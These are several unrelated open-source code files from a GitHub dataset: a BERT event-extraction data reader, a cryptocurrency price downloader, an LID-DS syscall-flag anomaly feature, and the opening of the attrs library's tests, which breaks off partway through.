temp_syntactic_segment[s_i] = torch.cat((temp_syntactic_segment[s_i], pad_tensor)) # all (max_l, 1)\n for s_i in range(len(temp_syntactic_postag)):\n pad_l = max_l - temp_syntactic_postag[s_i].size()[0]\n if pad_l == 0:\n continue\n pad_tensor = torch.cat([torch.zeros(pad_l, postag_feature_cnt), torch.ones(pad_l, 1)], dim=1)\n temp_syntactic_postag[s_i] = torch.cat((temp_syntactic_postag[s_i], pad_tensor)) # all (max_l, pos_cnt)\n for s_i in range(len(temp_syntactic_ner)):\n pad_l = max_l - temp_syntactic_ner[s_i].size()[0]\n if pad_l == 0:\n continue\n pad_tensor = torch.cat([torch.zeros(pad_l, ner_feature_cnt), torch.ones(pad_l, 1)], dim=1)\n temp_syntactic_ner[s_i] = torch.cat((temp_syntactic_ner[s_i], pad_tensor)) # all (max_l, ner_cnt)\n # combine syntactic features for each sentence\n for c_i in range(len(temp_syntactic_segment)):\n seg, pos, ner = temp_syntactic_segment[c_i], temp_syntactic_postag[c_i], temp_syntactic_ner[c_i]\n temp_syntactic_combine.append(torch.cat([seg, pos, ner], dim=1))\n train_syntactic_batch.append(torch.stack(temp_syntactic_combine))\n temp_sent, temp_typ, temp_gt_starts, temp_gt_ends, temp_syntactic_segment, temp_syntactic_postag, \\\n temp_syntactic_ner = [], [], [], [], [], [], []\n temp_synctactic_l = []\n temp_syntactic_combine = []\n\n return train_sentences_batch, train_types_batch, train_gts_batch, train_syntactic_batch\n\n\ndef simple_bachify_for_arguments(train_sentences, train_types, train_trigs, gts, train_syntactic_features):\n train_sentences_batch, train_types_batch, train_triggers_batch, train_gts_batch, train_syntactic_batch = [], [], [], [], []\n temp_sent, temp_typ, temp_trigs, temp_gt_starts, temp_gt_ends\\\n = [], [], [], [], []\n temp_synctactic_l, temp_syntactic_combine = [], []\n temp_syntactic = []\n for i, sentence in enumerate(train_sentences):\n temp_sent.append(sentence)\n temp_typ.append(train_types[i])\n temp_trigs.append(train_trigs[i])\n temp_gt_starts.append(gts[i][0].T) # (seq_l, len(role_types)), seq_l are various\n temp_gt_ends.append(gts[i][1].T)\n # temp_syntactic_segment.append(train_syntactic_features[i][0])\n # temp_syntactic_postag.append(train_syntactic_features[i][1])\n # temp_syntactic_ner.append(train_syntactic_features[i][2])\n temp_syntactic.append(train_syntactic_features[i]) # [(seq_l1, syn_size), (seq_l1, syn_size), ...]\n temp_synctactic_l.append(temp_syntactic[-1].size(0)) # get seq_l\n if len(temp_sent) % argument_extraction_bsz == 0:\n train_sentences_batch.append(temp_sent)\n train_types_batch.append(temp_typ)\n train_triggers_batch.append(temp_trigs)\n # batchify tensors is different\n # pad zero to align them\n # each gt tensor is of size (len(role_types), seq_l), expect them to be (bsz, len(tole_types), seq_l)\n gt_starts, gt_ends \\\n = torch.nn.utils.rnn.pad_sequence(list(map(lambda x: x.T, temp_gt_starts)), True, 0)\\\n , torch.nn.utils.rnn.pad_sequence(list(map(lambda x: x.T, temp_gt_ends)), True, 0) # (bsz, seq_l, len(role_types))\n # gt_starts, gt_ends = gt_starts.permute([0, 2, 1]), gt_ends.permute([0, 2, 1]) # (bsz, len(role_types), seq_l)\n train_gts_batch.append([gt_starts, gt_ends]) # both (bsz, len(role_types), seq_l)\n # pad syntactic features\n # pad [0] on segment feature, and pad [[0, 0, ..., 1], ] on postag and ner todo 忘记这里为什么说要pad1了\n padded_syntactic_feature = torch.nn.utils.rnn.pad_sequence(temp_syntactic, True, 0) # (bsz, seq_l, syn_size)\n train_syntactic_batch.append(padded_syntactic_feature)\n temp_sent, temp_typ, temp_trigs, temp_gt_starts, temp_gt_starts, temp_gt_ends = [], [], [], [], [], []\n temp_syntactic = []\n\n return train_sentences_batch, train_types_batch, train_triggers_batch, train_gts_batch, train_syntactic_batch\n\n\ndef event_detection_reader():\n data = read_file()\n random.shuffle(data)\n # get data for training and evaluating\n sentences, event_types = [], []\n for i, d in enumerate(data):\n sentences.append(d['content'])\n events_in_cur_sentence = []\n for event in d['events']:\n events_in_cur_sentence.append(event['type'])\n event_set = set(events_in_cur_sentence)\n event_types.append(list(event_set))\n\n # Train Val Split\n data_cnt = len(sentences)\n train_cnt = int(data_cnt * train_val_split_ratio)\n train_sentences, train_event_types, val_sentences, val_event_types = sentences[:train_cnt], event_types[:train_cnt] \\\n , sentences[train_cnt:], event_types[train_cnt:]\n\n # batchify and vectorize\n tokenizer = BertTokenizer.from_pretrained(model_path)\n sent_batch, type_batch, batchified_sentence_batches, batchified_gts = [], [], [], []\n for i, sent in enumerate(train_sentences):\n sent_batch.append(sent)\n type_batch.append(train_event_types[i])\n if len(sent_batch) % event_detection_bsz == 0:\n tokenized = tokenizer(sent_batch, padding=True, truncation=True, return_tensors='pt')\n batchified_sentence_batches.append(tokenized)\n gt_batch = []\n for cur_sentence_types in type_batch:\n vec = [0] * len(event_types_init)\n for t in cur_sentence_types:\n vec[event_types_init_index[t]] = 1\n gt_batch.append(vec)\n vectorized_gt = torch.tensor(gt_batch, dtype=torch.float) # todo 数据类型?\n batchified_gts.append(vectorized_gt)\n sent_batch, type_batch = [], []\n pickle.dump(batchified_sentence_batches, open('sentences.pk', 'wb'))\n pickle.dump(batchified_gts, open('gts.pk', 'wb'))\n\n # prepare data for eval\n val_sentences_tokenized, val_gts = [], []\n for i, sent in enumerate(val_sentences):\n event_type = val_event_types[i]\n val_sentences_tokenized.append(tokenizer([sent], padding=True, truncation=True, return_tensors='pt'))\n vec = [0] * len(event_types_init)\n for t in event_type:\n vec[event_types_init_index[t]] = 1\n # val_gts.append(torch.tensor([vec], dtype=torch.float))\n val_gts.append(vec)\n pickle.dump(val_sentences_tokenized, open('val_sentences_tokenized.pk', 'wb'))\n pickle.dump(val_gts, open('val_gts.pk', 'wb'))\n\n\ndef trigger_extraction_reader():\n # read\n data = read_file()\n matches = pickle.load(open('preprocess/matches.pk', 'rb'))\n segment_feature_tensors, postag_feature_tensors, ner_feature_tensors = pickle.load(\n open('preprocess/syntactic_feature_tensors.pk', 'rb'))\n\n # find\n sentences, types, sent_match, triggers, syntactic = [], [], [], [], []\n for i, d in enumerate(data):\n cur_match = matches[i]\n events = d['events']\n cur_segment_tensor = segment_feature_tensors[i]\n cur_postag_tensor = postag_feature_tensors[i]\n cur_ner_tensor = ner_feature_tensors[i]\n cur_sentence = d['content'].lower().replace(' ', '_')\n type_dict = {} # key:event type value:[trigger_span1, trigger_span2, ...]\n for e in events:\n cur_event_type = e['type']\n if cur_event_type not in type_dict:\n type_dict[cur_event_type] = []\n mentions = e['mentions']\n cur_trigger = None\n for mention in mentions:\n if mention['role'] == 'trigger':\n cur_trigger = mention['span'] # [start, end]\n if cur_trigger is None: # there must be one and only one trigger in a event\n raise Exception('no trigger exception')\n type_dict[cur_event_type].append(tuple(cur_trigger)) # 为了后面使用set去除重复,这里要改成tuple\n\n for key, value in type_dict.items():\n sentences.append(cur_sentence)\n syntactic.append([cur_segment_tensor, cur_postag_tensor, cur_ner_tensor])\n types.append(key)\n sent_match.append(cur_match)\n triggers.append(list(set(value))) # 更改之后,现在triggers中包含多个trigger, (int, int) --> [(int, int), ...]\n\n # randomize\n zipped = list(zip(sentences, types, sent_match, triggers, syntactic))\n random.shuffle(zipped)\n sentences, types, sent_match, triggers, syntactic = zip(*zipped)\n\n # prepare data\n # for training data, prepare [[sentences, ], [types, ]]\n # and gts be like tensor(0, 0, ..., 1, 0, 0, ..., 0) tensor(0, 0, ..., 0, 0, 1, ..., 0) as start and end for a sent\n # for validation data, just use matches to convert trigger span to token type\n # split\n data_cnt = len(sentences)\n train_cnt = int(data_cnt * train_val_split_ratio)\n train_sentences, train_types, train_sent_match, train_triggers, train_syntactic_features\\\n , val_sentences, val_types, val_sent_match, val_triggers, val_syntactic_features \\\n = sentences[:train_cnt], types[:train_cnt], sent_match[:train_cnt], triggers[:train_cnt], syntactic[:train_cnt]\\\n , sentences[train_cnt:], types[train_cnt:], sent_match[train_cnt:], triggers[train_cnt:], syntactic[train_cnt:]\n # prepare training data\n gts = []\n delete_token_l_without_placeholder = []\n for i, sentence in enumerate(train_sentences):\n token2origin, origin2token = train_sent_match[i]\n cur_trigger = train_triggers[i]\n # the data be like:\n # sent: 除 上 述 质 押 股 份 外 , 卓 众 达 富 持 有 的\n # 0 1 2 |3 4|5 6 7 8 9 10 11 12 13 14 15\n # trigger: 质押\n # span: 3, 5\n token_l_without_placeholder = len(token2origin) - 2 # todo 我没有在matches中统计结尾的SEP与CLS\n delete_token_l_without_placeholder.append(token_l_without_placeholder)\n start_tensor, end_tensor = torch.zeros(token_l_without_placeholder), torch.zeros(token_l_without_placeholder)\n for cur_span in cur_trigger:\n trigger_start, trigger_end = cur_span\n # 因为不包含CLS与SEP,所以计算出来的token coord需要减1, end还需要额外减一,\n token_start, token_end = origin2token[trigger_start] - 1, origin2token[trigger_end - 1] - 1\n start_tensor[token_start], end_tensor[token_end] = 1, 1\n gts.append([start_tensor, end_tensor])\n\n # split by event types:\n train_sentences_batch, train_types_batch, train_gts_batch, train_syntactic_batch = [], [], [], []\n for t in event_types_init:\n event_train_sentences, event_train_types, event_gts, event_train_syntactic_features = [], [], [], []\n for i, cur_t in enumerate(train_types):\n if cur_t == t:\n event_train_sentences.append(train_sentences[i])\n event_train_types.append(train_types[i])\n event_gts.append(gts[i])\n event_train_syntactic_features.append(train_syntactic_features[i])\n temp_train_sentences_batch, temp_train_types_batch, temp_train_gts_batch, temp_train_syntactic_batch \\\n = simple_batchify(event_train_sentences, event_train_types, event_gts, event_train_syntactic_features)\n train_sentences_batch += temp_train_sentences_batch\n train_types_batch += temp_train_types_batch\n train_gts_batch += temp_train_gts_batch\n train_syntactic_batch += temp_train_syntactic_batch\n\n # randomize again\n zipped = list(zip(train_sentences_batch, train_types_batch, train_gts_batch, train_syntactic_batch))\n random.shuffle(zipped)\n train_sentences_batch, train_types_batch, train_gts_batch, train_syntactic_batch = zip(*zipped)\n # 经过split与randomize, 现在每个batch中的事件类型均相等\n\n # simple batchify\n # train_sentences_batch, train_types_batch, train_gts_batch, train_syntactic_batch = simple_batchify(train_sentences, train_types, gts, train_syntactic_features)\n\n # produce [[str, ], ] [[str, ], ] [[[tensor, tensor], ], ]\n pickle.dump([train_sentences_batch, train_types_batch, train_gts_batch, train_syntactic_batch],\n open('train_data_for_trigger_extraction.pk', 'wb'))\n # prepare evaluating data\n spans = [] # [[], ...]\n val_syns = []\n for i, sentence in enumerate(val_sentences):\n token2origin, origin2token = val_sent_match[i]\n cur_trigger = val_triggers[i]\n cur_sent_spans = []\n for trig in cur_trigger:\n trigger_start, trigger_end = trig\n start, end = origin2token[trigger_start] - 1, origin2token[trigger_end] - 1\n cur_sent_spans.append((start, end))\n spans.append(cur_sent_spans)\n val_seg_feature, val_pos_feature, val_ner_feature = \\\n val_syntactic_features[i][0], val_syntactic_features[i][1], val_syntactic_features[i][2]\n val_syns.append(torch.cat([val_seg_feature, val_pos_feature, val_ner_feature], dim=1).unsqueeze(dim=0))\n pickle.dump([val_sentences, val_types, spans, val_syns], open('val_data_for_trigger_extraction.pk', 'wb'))\n\n\ndef argument_extraction_reader():\n # Step 1\n # Read Data\n data = read_file()\n matches = pickle.load(open('preprocess/matches.pk', 'rb'))\n # segment_feature_tensors, postag_feature_tensors, ner_feature_tensors, regex_proportion_tensors = pickle.load(\n # open('preprocess/syntactic_feature_tensors.pk', 'rb'))\n syntactic_tensors = pickle.load(open('preprocess/syntactic_feature_tensors.pk', 'rb'))\n\n # Step 2\n # Find Data\n ids, sentences, types, sent_match, trigger, arguments, syntactic = [], [], [], [], [], [], []\n # todo 会不会出现事件的trigger重复的情况,我先假设无\n repeat_cnt = 0\n total_event_cnt = 0\n for i, d in enumerate(data):\n cur_match = matches[i]\n token2origin, origin2token = cur_match\n events = d['events']\n cur_id = d['id']\n cur_syntactic_tensor = syntactic_tensors[i]\n cur_sentence = d['content'].lower().replace(' ', '_')\n type_dict = {} # key:event type value:[trigger_span1, trigger_span2, ...]\n argument_dict = {} # key:event type value:[arg_lst1, arg_lst2] 与type_dict种的trigger_span相对应\n for e in events:\n cur_event_type = e['type']\n if cur_event_type not in type_dict:\n type_dict[cur_event_type] = []\n argument_dict[cur_event_type] = []\n mentions = e['mentions']\n cur_trigger = None\n args_except_trigger = []\n for mention in mentions:\n # 由于ae的trigger是传给TrigReprModel的,所以需要先转化为token上的\n cur_start, cur_end = mention['span']\n if mention['role'] == 'trigger':\n cur_trigger = (origin2token[cur_start] - 1, origin2token[cur_end - 1] - 1) # [start, end]\n else:\n args_except_trigger.append(mention)\n if cur_trigger is None: # there must be one and only one trigger in a event\n raise Exception('no trigger exception')\n type_dict[cur_event_type].append(tuple(cur_trigger)) # 为了后面使用set去除重复,这里要改成tuple\n argument_dict[cur_event_type].append(args_except_trigger) # args_except_trigger:[mention1, mention2, ...]\n # mention: word, span, role\n for key, value in type_dict.items():\n # 对key类型的下的所有事件(trigger存放于value中)\n # triggers不去重了,因此value中可能包含重复的span,\n total_event_cnt += len(value)\n if len(value) != len(set(value)):\n repeat_cnt += 1\n print(i)\n # 下面这段代码是直接按原顺序组织arguments和trigger,即可能存在重复的sentence-type-trigger对\n # for idx, trig in enumerate(value):\n # sentences.append(cur_sentence)\n # ids.append(cur_id)\n # # syntactic.append([cur_segment_tensor, cur_postag_tensor, cur_ner_tensor, cur_regex_pro_tensor])\n # syntactic.append(cur_syntactic_tensor)\n # types.append(key)\n # sent_match.append(cur_match)\n # trigger.append(trig) # (start, end)\n # # todo 如果两个事件的trigger相同,不如合并他们的roles作为同一个事件?\n # # todo 如果要去重的话也不难,在此处加一个for循环重新构造spans和roles就行\n # arguments.append(argument_dict[key][idx])\n # 下面这段代码是将拥有相同trigger的arguments都合并。\n all_argument_of_these_triggers = {}\n for idx, trig in enumerate(value):\n if trig not in all_argument_of_these_triggers:\n all_argument_of_these_triggers[trig] = {\n 'sentence': cur_sentence,\n 'id': cur_id,\n 'syntactic': cur_syntactic_tensor,\n 'type': key,\n 'match': cur_match,\n 'args': set()\n }\n for cur_trig_argument in argument_dict[key][idx]:\n # cur_hashable_arg = {\n # 'word': cur_trig_argument['word'],\n # 'span': tuple(cur_trig_argument['span']),\n # 'role': cur_trig_argument['role']\n # }\n cur_hashable_arg = (cur_trig_argument['word'], tuple(cur_trig_argument['span']),\n cur_trig_argument['role'])\n all_argument_of_these_triggers[trig]['args'].add(cur_hashable_arg)\n for key1, value1 in all_argument_of_these_triggers.items():\n sentences.append(value1['sentence'])\n ids.append(value1['id'])\n syntactic.append(value1['syntactic'])\n types.append(value1['type'])\n sent_match.append(value1['match'])\n trigger.append(key1)\n arguments.append(list(map(lambda x: {'word': x[0], 'span': x[1], 'role': x[2]}, value1['args'])))\n\n\n\n print('repeat_cnt:', repeat_cnt) # 类型相同,触发词相同的不同事件\n print('total event cnt:', total_event_cnt)\n\n # Step 3\n # Randomize\n # 打乱7次\n assert len(ids) == len(sentences) == len(types) == len(sent_match) == len(trigger) == len(arguments) == len(syntactic)\n randomize_times = 7\n for k in range(randomize_times):\n zipped = list(zip(ids, sentences, types, sent_match, trigger, arguments, syntactic))\n random.shuffle(zipped)\n ids, sentences, types, sent_match, trigger, arguments, syntactic = zip(*zipped)\n\n # Step 4\n # Prepare Data\n # this is argument extraction part\n # for AE training data, prepare [[sentences, ...], [types, ...], [trigger_spans, ...]]\n # gts be like starts:[argType1_sgt, argType2_sgt, ...] ends:[argType1_egt, argType2_egt, ...]\n # starts and ends are of length len(role_types)\n # Step 4.1\n # split\n data_cnt = len(sentences)\n train_cnt = int(data_cnt * train_val_split_ratio)\n train_ids, train_sentences, train_types, train_sent_match\\\n , train_triggers, train_arguments, train_syntactic_features\\\n , val_ids, val_sentences, val_types, val_sent_match\\\n , val_triggers, val_arguments, val_syntactic_features \\\n = ids[:train_cnt], sentences[:train_cnt], types[:train_cnt], sent_match[:train_cnt]\\\n , trigger[:train_cnt], arguments[:train_cnt], syntactic[:train_cnt]\\\n , ids[train_cnt:], sentences[train_cnt:], types[train_cnt:], sent_match[train_cnt:]\\\n , trigger[train_cnt:], arguments[train_cnt:], syntactic[train_cnt:]\n # Step 4.2\n # Prepare Training Data\n # delete bad data. Strategy:合并\n # temp_ids, temp_sentences, temp_types, temp_match, temp_triggers, temp_arguments, temp_syntactic_features = [], [], [], [], [], [], []\n # id_trigger_type_set = set()\n # for i, sentences in enumerate(train_sentences):\n # cur_id, cur_trigger, cur_type = train_ids[i], train_triggers[i], train_types[i]\n # if (cur_id, cur_trigger[0], cur_trigger[1], cur_type) in id_trigger_type_set:\n # continue\n # else:\n # id_trigger_type_set.add((cur_id, cur_trigger[0], cur_trigger[1], cur_type))\n # temp_ids.append(cur_id)\n # temp_sentences.append(sentences)\n # temp_types.append(cur_type)\n # temp_match.append(train_sent_match[i])\n # temp_triggers.append(cur_trigger)\n # temp_arguments.append(train_arguments[i])\n # temp_syntactic_features.append(train_syntactic_features[i])\n # train_ids, train_sentences, train_types, train_sent_match, train_triggers, train_arguments, train_syntactic_features\\\n # = temp_ids, temp_sentences, temp_types, temp_match, temp_triggers, temp_arguments, temp_syntactic_features\n gts = []\n for i, sentence in enumerate(train_sentences):\n token2origin, origin2token = train_sent_match[i]\n cur_arguments = train_arguments[i]\n cur_trigger = train_triggers[i] # (start, end)\n # the data be like:\n # sent: 除 上 述 质 押 股 份 外 , 卓 众 达 富 持 有 的\n # 0 1 2 |3 4|5 6 7 8 9 10 11 12 13 14 15\n # trigger: 质押\n # span: 3, 5\n token_l_without_placeholder = len(token2origin) - 2\n start_tensors_lst, end_tensors_lst = [], []\n for role in role_types:\n cur_role_start_tensor = torch.zeros(token_l_without_placeholder) # (seq_l)\n cur_role_end_tensor = torch.zeros(token_l_without_placeholder)\n # todo 剔除不合法结构\n for arg in cur_arguments:\n if arg['role'] == role:\n start_index, end_index = arg['span']\n token_start, token_end = origin2token[start_index] - 1, origin2token[end_index - 1] - 1\n cur_role_start_tensor[token_start], cur_role_end_tensor[token_end] = 1, 1\n start_tensors_lst.append(cur_role_start_tensor)\n end_tensors_lst.append(cur_role_end_tensor)\n start_tensors, end_tensors \\\n = torch.stack(start_tensors_lst), torch.stack(end_tensors_lst) # both (len(role_types), seq_l)\n start_tensors, end_tensors \\\n = start_tensors.permute([1, 0]), end_tensors.permute([1, 0]) # both (seq_l, len(role_types))\n gts.append([start_tensors, end_tensors]) # [(bsz, seq_l, len(role_types)), ~]\n\n # Step 5\n # Batchify\n train_sentences_batch, train_types_batch, train_triggers_batch, train_gts_batch, train_syntactic_batch \\\n = simple_bachify_for_arguments(train_sentences, train_types, train_triggers, gts, train_syntactic_features)\n pickle.dump([train_sentences_batch, train_types_batch, train_triggers_batch, train_gts_batch, train_syntactic_batch], open('train_data_for_argument_extraction.pk', 'wb'))\n\n # Step 6\n # Prepare Evaluating Data\n # for the evaluation data we need:\n # 1, A sentence to send into BERT\n # 2, Event types of current events to send into BERT with the sentence\n # 3, Trigger span for the shared model to perform MeanPooling\n # 4, Syntactic features to send into AEM\n # 5, Ground truth: argument spans\n arg_spans = [] # 将arguments按顺序组织, [[role1_spans, role2_spans, ..., role19_spans], ...]\n val_syns = [] # Syntactic Features\n for i, sentence in enumerate(val_sentences):\n token2origin, origin2token = val_sent_match[i]\n cur_arguments = val_arguments[i]\n cur_argument_spans = []\n for role in role_types:\n cur_role_spans = []\n for arg in cur_arguments:\n if arg['role'] == role:\n start_index, end_index = arg['span']\n # cur_role_spans.append(arg['span'])\n cur_role_spans.append((origin2token[start_index] - 1, origin2token[end_index - 1] - 1))\n # 检查一下合法性\n if role in event_available_roles[val_types[i]]:\n cur_argument_spans.append(cur_role_spans)\n else:\n cur_argument_spans.append([])\n arg_spans.append(cur_argument_spans)\n val_syns.append(val_syntactic_features[i].unsqueeze(dim=0)) # (1, seq_l, syn_size)?\n\n pickle.dump([val_sentences, val_types, val_triggers, arg_spans, val_syns], open('val_data_for_argument_extraction.pk', 'wb'))\n\n\ndef ner_reader():\n ner_role_types = {\n 'obj-per',\n 'sub-org',\n 'obj',\n 'target-company',\n 'sub-per',\n 'sub',\n 'obj-org'\n }\n tokenizer = BertTokenizer.from_pretrained(model_path)\n data = read_file()\n matches = pickle.load(open('preprocess/matches.pk', 'rb'))\n\n # Step 2\n # Find and SortOut\n tokenized, sentences, spans, token_spans = [], [], [], []\n # the data be like:\n # sent: 除 上 述 质 押 股 份 外 , 卓 众 达 富 持 有 的\n # 0 1 2 |3 4|5 6 7 8 9 10 11 12 13 14 15\n # trigger: 质押\n # span: 3, 5\n for i, d in enumerate(data):\n token2origin, origin2token = matches[i]\n sentences.append(d['content'].replace(' ', '_').lower())\n tokenized.append(tokenizer(d['content'].replace(' ', '_').lower(), truncation=True, padding=True, return_tensors='pt'))\n span_set = set()\n for e in d['events']:\n for r in e['mentions']:\n if r['role'] in ner_role_types:\n span_set.add(tuple(r['span']))\n spans.append(list(span_set))\n token_spans.append(list(map(lambda x: (origin2token[x[0]], origin2token[x[1] - 1]), spans[-1])))\n # sentences: [sent_str1, sent_str2, ...]\n # spans: [[(start1, end1), (start2, end2), ...], ...]\n # matches: [[token2origin, origin2token], ...]\n # tokenized: [{'input_ids': tensor, 'token_type_ids: tensor, 'attention_mask': tensor}, ...]\n # len(sentences) == len(spans)\n assert len(tokenized) == len(sentences) == len(spans) == len(matches) == len(token_spans)\n\n # Step 3\n # randomize\n tokenized, sentences, spans, matches, token_spans = randomize(tokenized, sentences, spans, matches, token_spans)\n\n # Step 4\n # Prepare data\n train_tokenized, train_sentences, train_spans, train_matches, train_token_spans, \\\n val_tokenized, val_sentences, val_spans, val_matches, val_token_spans = \\\n multi_train_val_split(tokenized, sentences, spans, matches, token_spans, split_ratio=train_val_split_ratio)\n train_gt_start_tensors, train_gt_end_tensors = [], []\n for i, match in enumerate(train_matches):\n token2origin, origin2token = match\n token_l = len(token2origin)\n start_labels = [0] * token_l\n end_labels = [0] * token_l\n cur_token_spans = train_token_spans[i]\n for span in cur_token_spans:\n start_labels[span[0]] = 1\n end_labels[span[1]] = 1\n start_labels_tensor, end_labels_tensor = torch.tensor(start_labels, dtype=torch.float), torch.tensor(end_labels, dtype=torch.float)\n if end_labels_tensor.size(0) != train_tokenized[i]['input_ids'].size(1):\n print('出大问题了')\n train_gt_end_tensors.append(end_labels_tensor)\n train_gt_start_tensors.append(start_labels_tensor)\n\n # Step 5\n # Batchify\n train_tokenized_batch, train_sentences_batch, train_spans_batch, train_matches_batch, train_token_spans_batch, train_gt_start_tensors_batch, train_gt_end_tensors_batch = \\\n batchify(train_tokenized, train_sentences, train_spans, train_matches, train_token_spans, train_gt_start_tensors, train_gt_end_tensors, bsz=ner_bsz,\n lst_types=['dict_tensors', 'iterable', 'iterable', 'iterable', 'iterable', 'tensor', 'tensor'])\n # mid step\n # convert gt to dict of gt\n train_gt_tensors_batch = list(map(lambda x: {'gt_label': [x[1], train_gt_end_tensors_batch[x[0]]]}, enumerate(train_gt_start_tensors_batch)))\n # Step 6\n # Align training data with model\n pickle.dump(train_tokenized_batch, open('train_input.pk', 'wb'))\n pickle.dump(train_gt_tensors_batch, open('train_labels.pk', 'wb'))\n\n\n # Step 7\n # Align evaluating data with model\n pickle.dump(val_tokenized, open('val_input.pk', 'wb'))\n pickle.dump(val_token_spans, open('val_labels.pk', 'wb'))\n \n\ndef continue_pretrain_reader():\n train_base = read_file('data/train_base.json')\n train_dev = read_file('data/trans_dev.json')\n trans_base = read_file('data/trans_train.json')\n trans_dev = read_file('data/trans_dev.json')\n\n train_base_sent = list(map(lambda x: x['content'], train_base))\n train_dev_sent = list(map(lambda x: x['content'], train_dev))\n trans_base_sent = list(map(lambda x: x['content'], trans_base))\n trans_dev_sent = list(map(lambda x: x['content'], trans_dev))\n sentences = list(chain(trans_base_sent, trans_dev_sent, train_dev_sent, train_base_sent))\n\n # 去除长度大于256的句子\n max_len = 256\n sentences = list(filter(lambda x: len(x) <= max_len, sentences))\n\n f = open('continue_pretrain_le256_no-doc-divide.txt', 'w', encoding='utf-8')\n for sent in sentences:\n f.write(sent + '\\n')\n f.close()\n\n\nif __name__ == '__main__':\n # trigger_extraction_reader()\n # argument_extraction_reader()\n # ner_reader()\n continue_pretrain_reader()\n","repo_name":"1170500820/ccks_eval_1","sub_path":"reader.py","file_name":"reader.py","file_ext":"py","file_size_in_byte":32425,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"21187211028","text":"import requests\nimport pandas\nimport argparse\nimport datetime\nimport os\n\ndef download_prices(currencies, from_date):\n \"\"\"Download prices to USD of a list of currencies ticker.\n Args:\n -----\n currencies: list of crypto tickers\n from_date: datetime to start downloading historical data from\n \n Returns: pandas dataframe with the crypto tickers as columns and datetimes\n as rows.\n \"\"\"\n if from_date is None:\n from_date = datetime.datetime.now() - datetime.timedelta(days=30)\n delta = (datetime.datetime.now() - from_date).days\n delta = delta if delta >= 1 else 1\n base_url = \"https://min-api.cryptocompare.com/data/histoday?fsym={curr}&tsym=USD&limit={delta}&aggregate=1\"\n tmp = []\n for currency in currencies:\n r = requests.get(base_url.format(curr=currency, delta=str(delta)))\n prices = pandas.DataFrame(r.json()['Data'])\n prices['time'] = pandas.to_datetime(prices['time'], unit='s')\n prices = prices.set_index('time')['close']\n prices = prices.rename(currency)\n tmp.append(prices) \n \n return pandas.DataFrame(tmp).transpose()\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('--from_date', help='The first date of data',\n default=None)\n parser.add_argument('--currencies', nargs='+', \n help=' Set of currencies', required=True)\n parser.add_argument('--out_file', default=\"crypto_prices.csv\")\n args = parser.parse_args()\n print(args)\n cwd = os.getcwd()\n filepath = os.path.join(cwd, args.out_file)\n from_date = pandas.to_datetime(args.from_date)\n prices = download_prices(args.currencies, from_date)\n prices.to_csv(filepath)\n \n","repo_name":"maximedb/crypto_utils","sub_path":"price_download.py","file_name":"price_download.py","file_ext":"py","file_size_in_byte":1756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"6977775617","text":"from dataloader.syscall import Syscall\nfrom algorithms.building_block import BuildingBlock\n\nclass UnknownFlags(BuildingBlock):\n def __init__(self):\n super().__init__()\n self._flag_dict = {}\n\n def depends_on(self) -> list:\n return []\n\n def train_on(self, syscall: Syscall):\n \"\"\"\n builds dictionary with all known flags seen in training for each syscall\n \"\"\"\n if 'flags' in syscall.params().keys():\n if syscall.name() in self._flag_dict:\n self._flag_dict[syscall.name()].append(syscall.param('flags'))\n else:\n self._flag_dict[syscall.name()] = []\n self._flag_dict[syscall.name()].append(syscall.param('flags'))\n\n def _calculate(self, syscall: Syscall):\n \"\"\"\n lookup of syscall flag in know flags\n if unknown -> returns 1 else 0\n \"\"\"\n if 'flags' in syscall.params().keys():\n try:\n if syscall.param('flags') in self._flag_dict[syscall.name()]:\n return 0\n else:\n return 1\n except KeyError:\n # if syscall has not been in training data\n return 1\n else:\n return 0\n","repo_name":"LID-DS/LID-DS","sub_path":"algorithms/features/impl/unknown_flags.py","file_name":"unknown_flags.py","file_ext":"py","file_size_in_byte":1269,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"67"} +{"seq_id":"14694129450","text":"\"\"\"\nTests for `attr._make`.\n\"\"\"\n\nfrom __future__ import absolute_import, division, print_function\n\nimport copy\nimport inspect\nimport itertools\nimport sys\n\nfrom operator import attrgetter\n\nimport pytest\n\nfrom hypothesis import given\nfrom hypothesis.strategies import booleans, integers, lists, sampled_from, text\n\nimport attr\n\nfrom attr import _config\nfrom attr._compat import PY2, ordered_dict\nfrom attr._make import (\n Attribute, Factory, _AndValidator, _Attributes, _ClassBuilder,\n _CountingAttr, _transform_attrs, and_, fields, fields_dict, make_class,\n validate\n)\nfrom attr.exceptions import DefaultAlreadySetError, NotAnAttrsClassError\n\nfrom .strategies import (\n gen_attr_names, list_of_attrs, simple_attrs, simple_attrs_with_metadata,\n simple_attrs_without_metadata, simple_classes\n)\nfrom .utils import simple_attr\n\n\nattrs_st = simple_attrs.map(lambda c: Attribute.from_counting_attr(\"name\", c))\n\n\nclass TestCountingAttr(object):\n \"\"\"\n Tests for `attr`.\n \"\"\"\n def test_returns_Attr(self):\n \"\"\"\n Returns an instance of _CountingAttr.\n \"\"\"\n a = attr.ib()\n\n assert isinstance(a, _CountingAttr)\n\n def test_validators_lists_to_wrapped_tuples(self):\n \"\"\"\n If a list is passed as validator, it's just converted to a tuple.\n \"\"\"\n def v1(_, __):\n pass\n\n def v2(_, __):\n pass\n\n a = attr.ib(validator=[v1, v2])\n\n assert _AndValidator((v1, v2,)) == a._validator\n\n def test_validator_decorator_single(self):\n \"\"\"\n If _CountingAttr.validator is used as a decorator and there is no\n decorator set, the decorated method is used as the validator.\n \"\"\"\n a = attr.ib()\n\n @a.validator\n def v():\n pass\n\n assert v == a._validator\n\n @pytest.mark.parametrize(\"wrap\", [\n lambda v: v,\n lambda v: [v],\n lambda v: and_(v)\n\n ])\n def test_validator_decorator(self, wrap):\n \"\"\"\n If _CountingAttr.validator is used as a decorator and there is already\n a decorator set, the decorators are composed using `and_`.\n \"\"\"\n def v(_, __):\n pass\n\n a = attr.ib(validator=wrap(v))\n\n @a.validator\n def v2(self, _, __):\n pass\n\n assert _AndValidator((v, v2,)) == a._validator\n\n def test_default_decorator_already_set(self):\n \"\"\"\n Raise DefaultAlreadySetError if the decorator is used after a default\n has been set.\n \"\"\"\n a = attr.ib(default=42)\n\n with pytest.raises(DefaultAlreadySetError):\n @a.default\n def f(self):\n pass\n\n def test_default_decorator_sets(self):\n \"\"\"\n Decorator wraps the method in a Factory with pass_self=True and 